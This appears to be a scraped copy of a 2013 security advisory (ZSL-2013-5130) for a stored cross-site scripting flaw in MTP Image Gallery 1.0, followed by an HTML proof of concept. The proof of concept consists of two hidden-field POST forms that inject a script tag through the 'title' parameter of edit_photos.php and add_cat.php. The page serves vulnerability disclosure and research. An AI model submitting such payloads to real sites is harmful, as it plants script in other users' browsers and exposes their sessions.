扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 |
<!-- MTP Image Gallery 1.0 (title) Remote Script Insertion Vulnerability Vendor: MTP Scripts Product web page: http://www.morephp.net Affected version: 1.0 Summary: MTP Image Gallery offers more control, better uploading and enhanced performance. With MTP Image Gallery you can easily create and maintain albums of photos via an intuitive, web interface. Desc: MTP Image Gallery suffers from a stored XSS vulnerability when parsing user input to the 'title' parameter via POST method thru 'edit_photos.php' and 'add_cat.php' scripts. Attackers can exploit this weakness to execute arbitrary HTML and script code in a user's browser session. Tested on: Linux, Apache2 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2013-5130 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5130.php 17.02.2013 --> <html> <head> <title>MTP Image Gallery 1.0 (title) Remote Script Insertion Vulnerability</title> </head> <body><center> <form method="POST" action="http://localhost/gallery/admin/edit_photos.php?ID=39&action=edit"> <input type="hidden" name="title" value='"><script>alert(1);</script>' /> <input type="hidden" name="Filedata" value="" /> <input type="hidden" name="cats" value="12" /> <input type="hidden" name="status" value="1" /> <input type="hidden" name="full" value="1" /> <input type="hidden" name="views" value="1" /> <input type="hidden" name="rating" value="1" /> <input type="hidden" name="author" value="lqwrm" /> <input type="hidden" name="action" value="add" /> <input type="submit" value="XSS #1" /> </form> <br /><br /> <form method="POST" action="http://localhost/gallery/admin/add_cat.php"> <input type="hidden" name="action" value="add" /> <input type="hidden" name="cats" value="1" /> <input type="hidden" name="full" value="1" /> <input type="hidden" name="title" value='"><script>alert(2);</script>' /> <input type="submit" value="XSS #2" /> </form> </center></body> </html> |
体验盒子
